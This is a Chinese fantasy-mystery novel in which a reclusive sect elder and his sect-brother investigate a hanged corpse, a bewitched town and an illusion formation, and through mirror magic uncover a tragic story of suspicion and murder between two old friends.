《故人归否》
1. 世人皆惊清诡门
绿影扶疏,叠云笼罩,清风无涯,挂月当空。
说的是清诡门中最偏却也是最仙的一座山。因其清幽,宛如仙境,故名曰:云端。慕沉则身在此山上。
多少年了,慕沉不出山多少年了,他自己也算不清楚。又不是身在深宫别苑,更不是未出阁的黄花大闺女,究竟在执着什么,也许随着时间消逝,早就渐渐淡忘了。
隔壁的何初,他的怨种兄弟,早不知道门下多了多少弟子。虽是这么说,慕沉也知道,那家伙倒是把弟子教的极好,有什么委托,除非十分棘手,倒不用他出马。不过,许是这些小弟太出色,这些年竟是一件棘手的事都没有,以至于他在山上每日种草摸鱼,也许功夫都荒废了许多。
只因慕沉绝不是那种没事找事之人,如果有事,那绝对是何初找上门的。
山中小阁中,正坐一人品茗看书。
不经意间,一把扇子破窗而入。飞来横扇,直逼窗前正喝茶之人,此人却是避也不避,不急不慢地放下茶杯,正好抓住。
也不必问,慕沉就知扇的主人,他的怨种兄弟来了。
慕沉瞥了何初一眼,又盯回书籍,好似已经习惯了。
“无事不登三宝殿,说吧,找我来是为了什么?”他慢条斯理地说,顺便将手中的扇子扔向对方。
接住扇后,看着对面十分无所谓的样子,何初气不打一处来,抱怨似的口吻说道:“当初建起这座门派,不是让你来混吃等死的!你若再待在这云端,怕是迟早有一天要烂掉。早知如此,就不该遂了你的意,把云端让给你。”
“哦,”慕沉淡淡地喝了一口茶,“你来就是为了说这?每天都说,还不腻吗。”
“咳,当然不是!”何初从袖中取出一封信笺,递给他,说,“你看看便知道了。”
慕沉打开一看,俨然写着几句话:
箬舟千帆过千里
桥满藤枝寻何柳
山脚窥探过子时
谷门翘楚藏前头
见他一副云里雾里的模样,何初面露严肃,问:“看出什么所以然了吗?”
“看不出。”慕沉将信件随手搁在桌上,往后一靠,带着点慵懒的神情,“这信是谁寄来的?这么喜欢打哑谜。”
骤然对上慕沉莫名的视线,何初不免有些心虚地说:“你先别管是谁寄来的。总之需要你下山一趟。”
“为何?你的徒弟不能解决吗?”慕沉不以为然道。
“让你去你就去!”何初扶额,气不打一处,咬牙切齿道,“我是掌门还你是掌门!”说着,拦住慕沉手中的茶杯,“别喝了!”
“行行行——”慕沉摆了摆手,以防再被何初催的不耐烦,站起身往门外走。临了看了眼身后还坐着的人,问,“你难道不一起?”
何初与他并行,算是松了一口气,路上也时不时盯一下他,生怕他一不留神就跑了。
好在慕沉并不会做这种无聊的事,从云端山下来,到山门口,遇见了不少弟子,都是何初的。他不免觉得有些好笑,便打趣问道:“不是我说,你收那么多徒弟,教的过来吗?”
似是看懂了慕沉那戏谑的眼神,何初瞪了他一眼,没好气说道:“某些人啊,自己一个徒弟都没有,还有空管别人收了几个徒弟。怎的,我就乐意收徒,看着他们玩,碍着你了?再说了,没有我这些让人省心的徒弟,有你的清闲日子吗。”
“这倒也是。”吃人嘴短,慕沉当然没有抱怨的意思。况且,累的是何初,又不是他自己,管那么多做什么。
不过何初却接了这茬,问道:“话说回来,你就没有一点收徒的意思?好歹继承一下你的一身功夫。”
“我却没这心思。人嘛,自在惯了,没必要为了那点事忧愁。”慕沉淡淡地看了一眼路过的弟子,“继不继承的我一点都不关心。再说,一身功夫,是让我活得更轻松自在的,不是为了去争一个名头的。”
何初有时真不知道,他究竟是活得通透,还是单纯懒。
“你没这心思,却总有人想来争这个名头。清诡门大长老的首席弟子,还是很多人想做的。”何初试探性地问,“若是有人向你求师呢?”
“那得看是什么人。”
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若是不说这句话,便是所有人都觉得慕沉不会收徒了。可他如今松口,何初就觉得有戏。
见对方暗藏心思,慕沉也不戳穿,但笑不语。
不过一会儿。踏出了这山门,他竟有一种重见天日的感觉。竟是多出了一丝质疑。好似岁月如梭,镇上的繁华却依旧。他不食人间烟火近百年,云端很好,有他最喜的竹,最爱吹的清风。
这般日子很安逸,可他又多久没有过过鲜活的日子?
从前他不喜欢市井气息,以为是不能忍受喧嚣热闹。或许现在他明白了,所谓看破红尘,其实是无法直视内心孤独的自己。
慕沉微摇头,苦笑一番。
他拿出带着多时的信笺,重新审阅字迹。许是给到了压力,不久他便茅塞顿开,看了眼何初,说:“走吧,若乔山谷,离咱们这也不远。”
何初挑了挑眉,带着些不可置信:“这就看出来了?”
“你若想引见一个人,又何必这么麻烦。”慕沉终是忍不住开口。
“你在说什么啊,我不明白。”
“得了吧,别装了。”
何初双眼瞪得大大的,不可置信的样子,“你说那封信是我写的?怎么可能!”
装的还挺像。早在他看到信纸的一瞬间,慕沉便了然。何初这厮虽游手好闲,却写得一手好字。许是怕他一眼看穿,便自作聪明让他徒弟代劳,这字迹虽不是何初的,殊不知,大部分见过何初字迹的弟子都学了个七七八八,怎么骗得了慕沉。
因此,他看何初的眼神里,充满了“我不相信你,看你怎么狡辩”的意思。
“摊牌了,不装了。其实就是我整了这么一出。”拗不过他的眼神,何初摆摆手道,“若是像平常一样,估计人还没见到你就被你拒了。今天说什么我也要让你们见上一面。”
“到底是什么人,值得你大动干戈?”慕沉有些好奇了。
“自然是——”何初陡然停顿,卖了个关子,“找你拜师的。你到时候就知道了。”
慕沉默默看了眼手中信笺的内容,心道了然。
2. 山中自有奇缘在
他们默契的往山谷方向走着,时不时有小动物发出的声音,像是在引他们往前走。
“如今风云变幻,山下早就不是百年前那般,”何初无奈,顺便睨了他一眼,“多出来看看。你还真当自己是不食人间烟火的神仙啊!”
语罢,慕沉突然停住脚步,收回嬉闹的态度,闭上眼感知了一番,发现距离自己不远处有一只与周围格格不入的赤尾鸟。不是活物,却能动能飞。话不多说,他即刻一掌劈去,此鸟瞬间灰飞烟灭。
打完后才思索,这种东西,怎么会出现在这?
一旁何初看着莫名,刚想询问,慕沉便开口:“我刚刚打的那只鸟,是‘不干净’的死物。怎么会出现在这?”
何初愣了两秒,反倒以习以为常的口气说道:“可能是小纸鸢化成的。再说了,要真没有不干净的东西,还要我们门派作甚?”
也对。“不干净”的东西这么多,遇上一两个也正常。或许是他多心。
倒是何初被他反应无语到了,调侃着说:“你还真是活在一百年前的老古董啊!”
慕沉才不听他的嘲讽,想着之前纸上的那几句话的其中一句——谷门翘楚藏前头。这个翘楚,会是谁呢?慕沉不想再等何初卖关子,便问出口。
本想着听对方细细道来,突然一阵阴风吹过,使得慕沉一股诧异,才看到落叶往洞口里进了许多,顺着它们的方向,洞口内藏着的东西逐渐显现。
一具尸体自缢在洞内的藤蔓上,双眼狰狞,目光失焦,好像在不远处默默看着他们。
何初:“!”
慕沉:“?”那孩子不会就这么没了吧……
他皱着眉,看向何初,想听听对方作何解释。
“不是,这人谁啊……”何初喃喃道。
显然对方也惊呆了。而且并不认识眼前这位尸体。只不过,慕沉想,为了把自己骗出来,还碰巧发现了一桩命案,何初这心思,还真是不值当。若真想引见一个人,又何必绕这么大一圈子?真是不明白何初的思路。
不过他也就在心里吐槽吐槽,走进去仔细观察了一下,死者的阴气极重,可奇怪的是,那根化成怪物的线本应该早就崩断,却仿佛被什么东西压制了一般,使其一直维持现状。
怎么偏偏是风提醒后才往洞口里看?况且这尸体阴气这么重,不可能一开始发现不了。倒像是……旁人,或是尸体本身,在故意不让他们发现一样……
不过,遇上了他们这种“专业人士”,不处理是不可能的。慕沉粗略地画了一个阵法,将它封印得更牢固,不过多时,一个普通的阵法就草草解决。想要深究其死因和凶手,慕沉觉得,还是交给那些小辈完成吧。
不过话说回来,那个来求师的孩子,不知有没有看到谷中的尸体,他人又去哪里了?
此时的何初看完他所有的动作,已经想好了明天怎么安排徒弟处理它。现在的当务之急是找到那个孩子。他对慕沉说:“咱们还是先找到君谿吧。我是说那孩子。万一遇到什么不测,不好跟他的父母交代。”
君谿?是个好名字。慕沉点了点头,只是没有任何提示,又要去哪里找他?
他左顾右盼,发现洞内并不是封闭的,而是一条不知通往什么地方的小路。兴许是君谿发现了这里“自缢”的人,想从这条路一探究竟,以至于慕何二人没在来的路上发现任何人的身影。或者还有一种可能,他今天就没来过。
两种可能,两条路。“既然是你联系的那个孩子,你应该知道他住哪里吧。咱俩兵分两路,我进去看看。”
“好。你小心。”何初说。
慕沉“嗯”了一声,走进那条漆黑的小路。
在他们离开后,仿佛为了验证慕沉最刚开始的想法,这具悬吊着的尸体,突然眨下了眼,露出阴森可怖的笑容。
小道两边都是山壁,十分拥窄。他随手拿起地上的树枝用火石点燃,一小点的火光能勉强看见前方一米左右的情况。慕沉叹了口气,只希望接下来别出现什么诡异的东西吧。
约莫走了二十分钟,中间换了数次树枝,两边才空旷了许多,可能是走出山了。还没庆幸自己没有碰到什么灵异事件,突然掉下一个什么东西,落到慕沉脚边。靠近火把一看,是一颗头颅。
???怎么又有一个死者?不会是那个孩子吧?!来不及多想,他将头颅收入锦囊袋中,缩成了一小团。
往回看去,慕沉来时的路口基本很难被发现。让他惊讶的是,这条路竟然是通向小镇上的。而自己目前应该是在一个废弃的小巷子里。要不是今天的桩桩件件机缘巧合走到这里,恐怕在这里杀人抛尸一百年都发现不了。
好容易七拐八弯走出巷子,眼前就是不久前刚来过的街道。期间破坏了不少阵法,似乎这些就是在掩人耳目,难怪根本没人发现这里。
但是,这些阵法要破坏才能走出,那个叫君谿的少年如果真走了这条路,怎么可能会留下这么多阵法?莫非,他真的……?慕沉下意识摸了摸放在锦囊袋里的头颅。
正思考下一步怎么办时,耳边突然传来何初的声音:“你现在在哪?从分开到现在,我一直联系不上你。”
这么说,他走过来的这条路一直屏蔽了术法?可是那期间慕沉动用过法力解除阵法……这就说不通了。思及此处,他立刻回答道:“我从另一条路,也来到镇里了。怎么突然用传音了?
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”
“行,现在马上来我们不久前来过的楼馆,其余的见面再说。”何初急急忙忙的语气像是发生了什么大事一样。他都还没说捡到一个头颅的事,就匆匆结束了传音。
“搞什么鬼……”慕沉喃喃道,“我哪记得之前去的楼馆叫什么名字。”
得亏他记忆好,能想起那条路。
只是,现在发现不对劲了。街上的人看似各忙各的,十分正常,可一旦与他接触少于三米,就立刻停下手中忙活的事,以及其诡异的笑脸面对着他。甚至在缓缓靠近。
也算是经历过其他大场面,慕沉此刻很平静。但又不十分平静。怎么下个山就撞了那么多次邪?今日不宜出门!
趁那些人还没靠近他,他就以迅雷不及掩耳之势飞檐走壁式大显神通来到房檐,此后的每一步动作都在房檐进行,街上的人马上又变回原来的样子。
很快就找到那家楼馆。慕沉一看,何初就在三楼一个厢房内,开着窗,静静看着他在房顶活动的模样。此刻他也很想一记飞毛腿踢飞何初。咳,不过突然看到何初身旁多了一个少年,他愣了一下,马上控制住自己的想法。然后纵身一跃进了厢房中。
“介绍下,这位小公子就是君谿。”
何初身旁的少年立马上前一步,拱手一拜,顺带说道:“慕前辈好。”
“嗯,”慕沉瞬间理了理衣裳,清了清嗓子,“你好。”
一旁何初看不惯他作态,“嘶”了一声,“装什么装。”
他瞪了何初一眼,问:“你很急?传个音话都说不清楚。”
“你难道没发现吗?镇上的人突然变得不正常了。”
“我有眼睛。”他打断了话,看向旁边的君谿,问:“这位小公子,今天没出门过?”
君谿刚要回答,何初先替他开口:“不,恰恰相反。是他第一个发现不对劲的。说起来,还跟你有关呢。”
慕沉挑挑眉,正欲问些什么,一阵激烈的撞门声才让他反应过来。“什么情况?”
“哦,”何初淡然回答,“刚才没注意不小心碰了一下其中一个人。”
?!这应该不只是简单碰了一下吧,撞得这么激烈,说是杀了都不为过……
“是的。”君谿补充,为何初作证,“就轻轻碰了一下,那人就飞出去了。接着一群人就带有攻击性地冲了上来。”
“看来是不能碰啊……”慕沉思索一番,接着问,“像这样的人在镇里有多少?”
他问出这句话时,似乎有种不好的预感。果不其然,当何初和君谿同时说出“所有”二字时,他狠狠皱了下眉。
搭进全镇的人,便不能按事态严重来形容了。
3. 阵中幻境初显形
当务之急,是将镇上的居民恢复正常。在慕沉印象中,一般的摄魂术能控制人的心神,但是想要控制全镇的人,是相当耗费心力的。他想不出谁会这么做,也不知道这么做的目的何在。毕竟上了山便是清诡门,在这里想要做出什么动作,一般不能得逞。
于是他向何初眼神示意,对方也能明白他的意思。只见何初来到窗边,从袖中拿出一支短笛,放到嘴边就开始吹奏。
音调和缓,传遍镇中。清心曲毕,只待居民恢复正常。
奇怪的是,这首曲子不能影响他们分毫,甚至使他们愈发疯狂,不受控制。
其实慕沉有点惊讶,因为在他印象里,但凡是失去理智的人,就没有清心曲不能解决的。
一旁的君谿默默看在眼里,似乎早就知道结果会是如此。他含笑,上前说道:“前辈可否听听晚辈的见解?”
“哦?请说。”慕沉倒也好奇。
“说来也巧,晚辈在山谷中等待时,突然见一具尸体显了形,相信二位前辈后来也看到了。”君谿顿了顿,平静地面对他。
“如你所言。只是这与镇中百姓有何关系?”
“晚辈不才,斗胆猜测。这座小镇其实是一个大型阵法。前辈们或许在昨晚去山谷的路上,破坏了阵眼之类的东西。”
“姑且依你所言。但你就这么肯定是我们所为?”
君谿笑了笑,似乎有十足的确信:“若此处真为阵法,阵中物自是不可能破坏阵眼。唯有外来者能将其撼动。”
见状,何初仿佛提早知道了缘由,看向慕沉,开口确认:“昨晚你不就在路上杀了一只赤尾鸟?你说那是死物,现在来看,这种东西出现在那里确实奇怪。”
慕沉白了何初一眼,当时他就觉得不对劲,倒是何初说得稀松平常,弄得他也没多想。只不过,他看了看眼前的少年,对方又是为何如此笃定?“这么说,那尸体上原本的封印,是你下的?”
“是。”君谿有问有答,并没对自己所做遮遮掩掩。
得到了肯定的回答,慕沉笑了笑,似乎是被惊喜了,带着赏识的语气说道:“想不到你还挺有一手的。”
“自然不如二位前辈见识深远。”君谿谦逊有礼,言归正传,“不如先去看看阵眼?”
慕沉点点头,若真按君谿所说,此镇为阵,那么阵眼还是很有必要看看的。不过那具尸体,在其间又充当什么角色?他想法有限,只能走一步看一步了。
此时厢房的门已经被那些失去意识的人撞开,正巧他们从窗口跃出,往阵眼前进。路上却没有太多的房檐供他们飞檐走壁,同时在尽力躲避以及尽量不伤到普通人。曾今江湖只教他怎么打败别人,却没教过他如何躲闪,少不了有些吃力。
而且,慕沉还发现,这些没有理智的人,大部分只攻击他与何初,极少数人的目标才是君谿。或许是因为是他破坏了阵眼,而何初刚好在场吧。
阵眼处正源源不断冒出乌气。等他们靠近时,发现那只灰飞烟灭的赤尾鸟“重生”了。本想抓过来研究一下鸟上面设了什么咒术,那些乌气仿佛“获生”了一般,就像那些镇里的人一样,带有攻击性地朝他们袭去。
慕沉正欲用术法挡住时,不知是何人所为,先一步驱散了乌气。
在他不注意的时候,身旁的两人,也在同一时间不见踪影。或许他们是不小心进入了幻境。
他观察周围环境,没有发生变化,虽然乌气不见了,可本该调查的阵眼也不见了。这才意识到,是他自己进入了幻境。慕沉不喜弯弯绕绕,想用法力破阵来个直截了当。
这时锦囊袋里的头颅突然有意识地动了,不断挣扎着,似乎想要挣脱束缚。
慕沉让“它”如愿以偿。只见锦囊袋飞速赶往镇中,而他也紧随其后,过了不久便停下了。此处正是他捡到头颅的地方。他站在不远处暗中观察,看见了一个无头身。并且似乎在等什么。看来这个便是头颅的身体。慕沉想。
锦囊袋飞到无头身面前,想来就是想让头归位吧。
那句身体的双手动了起来,解开了锦囊袋,那颗头自动地与其身体融合了。
一个完整的人,睁开了双眼。但是此人仿佛不知道自己的头身曾经分离过,没发现任何异常,左顾右盼,像是在等什么人。正在此时,一人钻进了巷子。他两眼放光,很激动地说道:“医师!你终于来了!”
“嘘——颜悦,小声点。”那个被称为医师的人小心翼翼地说道,同是从口袋里掏出一包药,递给颜悦。
原来这个被头身分离的人叫颜悦。慕沉想。但是他的身体为什么在幻阵中,而头却出现在现实里?
“为何要偷偷摸摸?医师莫不是背着我干了什么见不得人的事?”颜悦不解地问,不知脑补了什么可怕的事,突然瞪大双眼,很惊讶地看着对方,“你是不是在药里下毒了!”
这医师好歹是个有医德的,听到他这么讲,马上胡子一瞥不高兴了,斥喝道:“什么话!我堂堂一个医师,用得着给一个将死之人下毒吗!这药现在没多少了,镇中多的是人求药。要不是跟你关系好,我会偷偷过来给你吗?我给你药,是因为我给你开后门了—你懂什么是开!后!门!吗?!”医师真是越说越气,说的整张脸都快发红了。
颜悦有些不好意思,连忙说道:“消消气消消气。是我口不择言了。”
医师这才神色好些,有点语重心长地说:“镇中突然出现疫病,一旦感染上,便可能再也好不起来……可是我从未见过这种黑色的……从腿部开始蔓延到全身,像是中毒了一样……”
“确实如此。”颜悦表情突然凝重起来,“镇中突遭此变故,我于心不忍。只愿阿洄也能早日好转……你放心,这几味药,等他服下后,我会尽量去各处寻得,帮助镇中百姓。”
“嗯。说到他,”医师顿了顿,目光复杂地看向他,“张洄真此人性情孤僻,旁人也不与他相处,倒是你,却对他非同寻常,还真是奇怪。”
说起张洄真此人,颜悦的神色似乎缓了不少:“当然。他是我至交好友,自然不能与旁人相比。”
“罢了。你想如何便如何吧。只怕你为他付出许多,到头来什么也没剩下。”医师叹了口气,“你只切记,若是这药不能缓解,便是我也无力回天。一个月后就要他的命。”
医师说着残酷的现实,便是颜悦都不忍听下去。“我相信一切都会好转的。不会让他有事的。只是希望你别告诉他。若是让他知道,以他的性格,怕是要讳疾忌医了。”
“明白。不让他知道。走了,百姓还等着我呢。你也是,一切小心。”
“保重。”
这镇中居然有过疫病,慕沉却从未听说过此事。
没等他细想,原本站在原处的颜悦似乎突然有了自己的意识,朝慕沉所在的方向走来。
颜悦看着他,问道:“你是谁?”
“我是局外人。”慕沉想也没想便回答了,同时将自己的疑问说出:“镇里发生了什么,你经历了什么?”才会变成这样?
颜悦听到后,倒是没什么惊讶,只是叹了口气,“如你所见,刚才只是我的回忆罢了。现在的我,不过残魂一缕。”
说着,周围随着幻境改变又发生了变化。镇中四处弥漫着不安的气息。那“疫病”弄得人心惶惶。显然又是颜悦的回忆。
“你想看,便让你看吧。”颜悦柔声说着,带着些无所谓的语气,可眼底却藏着说不清的哀伤。“其实一开始,谁也没想到。那些我费了好大劲采的药,根本没用。我们都以为是没见过的瘟疫。”
慕沉默默听着,看着
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眼前的场景,墨水一般黑的“毒素”从百姓的腿逐渐遍布到全身。果然亲眼所见和道听途说是有区别的,他一下子就发现了端倪。不是瘟疫,不是中毒。是不明东西的吞噬。
“后来以为是一种奇异的毒——确实都不是,”颜悦似乎看出他在想什么,顺着讲下去,“那是以前从没出现过的‘周遭人’。”
“周遭人?”谅是慕沉这个活了一百多年的人,也没听说过这种东西。
“可将人吞噬,等人死后藏匿于遁形,不知何时又冒出来吞噬下一个……黑影一般的存在,却不是鬼。鬼是无影无形的,可它们……有影有形。姑且叫它‘周遭人’好了。说起来,这还是阿洄发现的。”颜悦看着眼前,已无波澜,似乎早已淡然了。
他目睹着“吞噬”的全过程,果如颜悦所说,黑影一般,不人不鬼,然而尸身并没有被吞噬。被吞噬的,恐怕只有魂魄了。
这是多少年前就已经发生的事了?按照当时的严重程度,不久整个镇上将无一人存活。但是如今的小镇不能说特别繁华,却也有人来人往的地步。
他想起来此行的目的是为了镇上的人,便问对方:“你可知让百姓恢复的方法?在这幻阵之外的。”
颜悦听完便摇头,说道:“如今幻阵之外的若乔镇,我不知是何模样。”
慕沉倒是奇怪,按理说颜悦既知自己身处幻阵,便是有自己的意识,又怎会不知阵外是何番景象。但他突然想起,人首分离,魂魄是无法聚合的。颜悦的魂魄是他将头颅带进来后才聚合的,或许这幻阵,便是他最大的天地了……
但若是这幻阵永远没被开启……究竟是谁这么狠毒?
只是转念一想,若是将幻境中的躯体带出去,魂魄便是在现实中聚合了。慕沉汗颜,这小子被困在幻境说到底还是他害的。他心虚地问:“你可有什么未尽之事,可需要我帮你完成?”
颜悦想也没想,便婉拒了。“多谢。但若是我此刻灰飞烟灭,也是无怨无悔,无欲无求的。”
“也罢。”慕沉不强求,“既然如此,我便要离开此地了。”
“走好。”颜悦微微一笑,在与他告别。
“走之前,我想再问一下你—”慕沉一遍施着打破幻境的法,一边问,“谁把你杀害了?”
颜悦一愣,似乎没料到他会问这个问题。不过又很快回答:“……我不知道……不过别告诉阿洄,我在此处。”语气平淡到已经麻木的感觉。
!!“等——”慕沉忽然觉得,自己陷入一个巨大的坑。还没反应过来,便被埋在了土里。只是已经晚了,幻境已被解除。
颜悦最后说的那句话,倒是让慕沉摸不着头脑。既然张洄真中了周遭人的招,怎么可能活到现在?又怎么告诉?
他又回到了这个阵眼处,看到熟悉的两人,似乎也刚从别的幻阵中出来。
他们重新会合,却见那两人脸色不怎么好看。慕沉说了将自己在幻阵中的所见,引得何初紧皱眉头,“你可知,那张洄真是什么人?”
“不知。”难道有什么重大的身份吗?
“就是昨天你我看到的那个自缢的尸体。”何初脸色沉重,“我和君谿在幻阵中看见他杀了一人,大概就是你说的颜悦吧。”
“他为何杀颜悦?两人不是至交好友吗?”慕沉对其中的缘由一直不解,只待一个答案。
“因为‘背叛’。”一直没说话的君谿开口了,“或许该回到洞口中找找张洄真。”
什么谜语人?
语罢,还没等他应答,一个黑影就出现在他们面前。等烟雾散去,黑影现形,俨然就是那个君谿刚提出要去见的“尸体”。
此人笑了笑,话语中充满了危险:“听说你们想去找我。何必这么麻烦?”
原来这家伙还没死。
4. 遗憾缘分终是浅
慕沉记得此行的目的。看完颜悦那些片段的时候,他已经不想再往下探究事情的全貌。好像是只要躲避,就不会招来麻烦。
“我不管你那些所谓的过去,什么背叛也好,周遭人也罢——”他淡淡地看着张洄真,笑着说,“若是不想挨打,就让百姓恢复原样。或者你可以直接告诉我们方法,由我代为执行。”
可张洄真仿佛听到了笑话一般,看着他,“你当真以为,杀了我,就能让镇上恢复正常吗?”打着谜语,带了些挑衅,看向对面这三人,“况且——你真的打得了我吗?”
说完,张洄真便化作一团黑影,朝他袭来。
不过慕沉倒是愣了一下,不免有些好笑,自己好像被看不起了。
但他却没见气愤,反而调笑说:“那你且看看我有没有这个本事了。”
“喂——”别冲动啊。何初喊了一声。
语罢,慕沉接过黑影击来的那一掌,两人便开始徒手过招。可说是对招,不如说是张洄真单方面的进攻。或许只要把对方磨累了,就很好收拾了。
不过不久,慕沉便嫌麻烦了。这家伙倒是比他想象中还要不知疲倦。再不收手自己可能就先累了。
他在躲闪攻击的闲暇,随便召来什么趁手的东西,握到手里一看,是何初随身携带的扇子。
“喂——”别弄坏了。何初不满地喊了一声。
“借我一用。”慕沉不与他废话,开扇的一瞬间挡住张洄真再次袭来的一波攻击,随即趁对方没反应过来,飞出扇子,转动着绕到张洄真背后,慕沉以极快的速度接住,合扇,握住扇柄向对方后背击去。
张洄真突然遭受一击没躲开,便跌落下去。
将扇子重新扔给何初后,没给对方缓过来的机会,慕沉从袖中拿出一面镜子,念了一番咒语,此时手中的镜子飞到空中,幻化成大小三十六面形状各异的镜子,笼罩着他与张洄真,镜阵初成。
“喂——”可恶,别单独行动啊。何初再次不满地喊了一声。
但这不满他没听到,此时三十六面镜子全都照向张洄真。
“你或许不知道,这些镜子意味着什么。”慕沉淡淡地看着镜子围绕着对方转着,一面怨气最重的尤为突出。
他轻笑一声,“就是它了。”
只见那面镜子在张洄真面前定住,他目光呆滞地看着,瞳孔紧缩了一阵,似乎勾勒出一些不快的回忆。
“颜悦。你为什么背叛我?”
“颜悦。你为什么想杀我?”
“你这人就该死。”
……
镜中世界变幻无常,慕沉在镜阵中堪堪找到张洄真的记忆。
郊外一颗青葱的矮树上,躺着个人,他的一只腿悬空着,摇摇晃晃,与周围绿影格格不入。
冷。太冷了。他睡着一点也不安稳。许是更冰冷的冷意直冲大脑,像是要将他的太阳穴捅个对穿,他倏然睁开双眼,一手抓住了朝他袭来的东西——是一支玉簪。
是杀意。
形状纹路与颜悦头上的戴的一模一样。除了震惊,他心中疑惑更甚。
借刀杀人?
他坐起,随手摘了一根树枝,尖的那一头朝着玉簪袭来的方向击去。八成的力气。波澜未变。
此时身后突然出现一人,站在另一个枝头。又或许那人一直都在,只是他没发现而已。
“是你干的?”他将玉簪晃了晃,面色不善地盯着对方。
那人仿佛听到什么笑话一般,“这簪子又不是我的。”似乎是在暗示什么,又在提醒什么,“张洄真,你中毒了。”
不知该惊讶于对方知道自己的名字,还是自己中毒一事。但显然并不能动摇他分毫。
中毒又如何?张洄真一跃而下,稳稳落到地面,头也不回就离开。
“颜悦——”他回到住处,在隔壁找颜悦的身影。
颜悦在后房似乎正煎药。他不经意往颜悦头上瞥了一眼,之前一直戴的簪子已然换成随意的一根木枝。
“找我何事?”
他拿出玉簪,递给颜悦。
颜悦有些诧异地看着他,却什么也没问,接过簪子就放进袖兜里,也来不及将头上的木枝换下,光顾着炉子中的药。
将袖子挽起来的时候,他看见颜悦手臂上绑着绷带。掺着血。顿时有种不好的预感。
“你这伤……”怎么来的?他皱眉看着颜悦。
“哦,无碍。”颜悦反应过来,解释说,“煎药时炉子倒了,不小心刮到的。”说着指向一旁,确实见到还没来得及收拾的碎片。
解释清楚了,又好像说不通。
谁想杀了他?借颜悦之刀,杀他之人。
好狠的毒。
镇中的百姓似乎减少了许多,但他并不在意,他在意的是医馆前的人满为患。根本挤不进去。
他记得颜悦跟那个医师是熟识。
过了不知多久,人少了,医师看见张洄真时,愣了一下,问到:“何事过来?”
“颜悦在煎什么药?他生什么病了?”张洄真似乎有些担忧。
“事关他人,无可奉告。你为何不自己去问他?”医师虽是这么说,但遇上张洄真犀利的眼神,怵得慌,拗不过,“罢了罢了,告诉你也无妨。没看见今天病患这么多,他在郊外采药,为的就是这个。”
“采药?”张洄真皱眉,“什么时候?”
“今日午时。”
是张洄真躺在树林中的时间。
是他被玉簪袭击的时间,是他扔出木枝的时间。
但这不过是巧合罢了。
此事作罢,许是张洄真知道自己性格不讨喜,惹上了什么人,但这绝不可能是颜悦。
“又是你。到底要干什么?”同一个地方,张洄真再次碰上先前的那个人。
“啧啧,似乎不太欢迎我。”那人有些‘不高兴’,“一个月过去了,你中毒已经深入骨髓了。你真的以为颜悦……”
没等他说完,张洄真便不耐烦,拔起剑就朝那人击去,“用不着你来多管闲事!”
“我看你才是那个居心叵测之人!”张洄真的武功也算是佼佼者,只见他猛地使出招式,不料对方武功似乎略胜他一筹,招招巧妙化解。
不过片刻,打斗就停下了。
“你已经看到了,我武功在你之上,倘若真想杀你,又何必多此一举?我不过是想同你交个朋友,好心提醒你罢了。”
“不需要。”张洄真说,“我自己的朋友,我知道是什么品行。你若想挑拨离间,大可以免了这心思。”说完就打算离开。
“慢着!”那人似乎有些急切,“我不是这个意思。我可以帮你解了毒。但是颜悦真的……”
“够了。我若真中了毒,为何一点症状都没有?放着至交好友不信,去相信一个来历不明的人吗?我不是傻子。”他现在一刻也不想多待。
那人不怒反笑,似乎早就料到他会这么说,“若是你现在去暗巷看看,兴许便相信我说的话了。”
暗巷?他倒要看看,这人搞什么鬼。
“对了,我叫白郸……”张洄真走远了,只听到对方说了这么一句。
暗巷真的是偏僻,七拐八弯却还是没走到尽头。但在不远处听见了匆忙的脚步声。
脚步声停下后,他拐了进去,看到两个影子交汇,像是在干什么见不得人的事,便连忙退回,找了个视觉盲区,听人家墙角。
“医师,你来了。”这声音……俨然是颜悦!
“嘘——颜悦,小声点。”
是那个医师。但是他们有什么事,偷偷摸摸的?
“......在药里下毒?”
“......一个将死之人......中毒......”
“......你放心......等他服下......”
“张洄真此人性情孤僻,旁人......”提到他的名字,张洄真不禁一愣,刚刚他们不会就是在说他?
“当然。”颜悦的语气非常坚定,坚定到让张洄真有些难受,旁人这么想也就罢了,连他也
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这么想?“......”该死,为什么听不清!
“你只切记,这药......一个月后就要他的命。”医师仿佛在吩咐颜悦做什么事。是给他下毒吗?
张洄真没在听了。他只是有些难以置信,浑浑噩噩地离开了暗巷,没叫任何人发现。
颜悦……为什么会背叛我?就因为我性格孤僻吗?还是说……他从来没将我当做朋友?
夜晚回到家中,一如既往地面对颜悦。对方仿佛跟个没事人一样。
那颜悦的笑容,会不会有点虚伪了。
罪恶的土壤会滋生,怀疑的种子在发芽。
颜悦,你为什么想杀我?
......心魔由此生。
他记不清后来发生了什么。等他再次有意识的时候,却是物是人非。
——碎了一镜。
“嘶——太久没使了还有点没适应过来。”慕沉揉了揉太阳穴,看向一旁被镜子禁锢住的张洄真,神色不明地说:“你那时便对颜悦怀疑,届时产生了心魔,然后将其杀害。最后尸首分离,禁锢在内外两侧,令其魂魄永远无法聚拢。如今镇上的人,都中了你的心魔魇——”
很合理的推测。只要消除张洄真的心魔,就算大功告成。
张洄真的心魔是……对颜悦的怀疑?
所以只要消除怀疑,就能消除心魔?
那这简单。刚好就让慕沉遇上了最真实的对话。但这未免也太过简单。
他在镜中经历着张洄真所经历过的事情,知道当事人内心最真实的想法。
这点怀疑根本无法支撑心魔。张洄真对颜悦的信任,远远超出微不足道的怀疑。
果然,听了他的“推测”,张洄真嗤笑了一番,带点讽刺意味:“这就是昔年名动天下的慕沉吗?呵,你的推断也不过如此。”
“是吗?”慕沉听到却并不惊讶,挑了挑眉,“我只是顺着你的意,难到不是你想让我的推断仅仅只是这样吗?”
“没必要再看下去了——这不就是你的意思吗?其实我很好奇,当时的你清醒后,会看到什么?比如……颜悦的首级?还是——”
“够了!不必再言。”慕沉的直白很显然戳中了张洄真的痛处,“你既然知道,那么就请告诉我,颜悦现在何处。”
慕沉偏不遂他的意,自顾自地说:“看来你只看到了他的头。或许你想让他安息,但却找不到他的身体,魂魄无法聚集。你很生气。而你知道罪魁祸首是谁,找他报仇了,对不对?”
慕沉盯着张洄真愈发阴沉的脸,笑着说道:“是白郸,对吗?”
听到这个名字,张洄真不知想到了什么,“呵呵”地笑了一声:“是又如何,他已经被我亲手了结了。”
慕沉没意料到。可能先前何初他们在另一个阵中看到张洄真杀的人不是颜悦,而是白郸。
“所以你特地找我们来,就是为了找到颜悦吧。你自己找不到一个完整无缺的人……不,你知道它在哪,但你进不去——那个阵法,是专门针对你的。”
“我想见他。我可以答应你将镇上的心魔都除掉。”张洄真顿了顿,“前提是你帮我。”
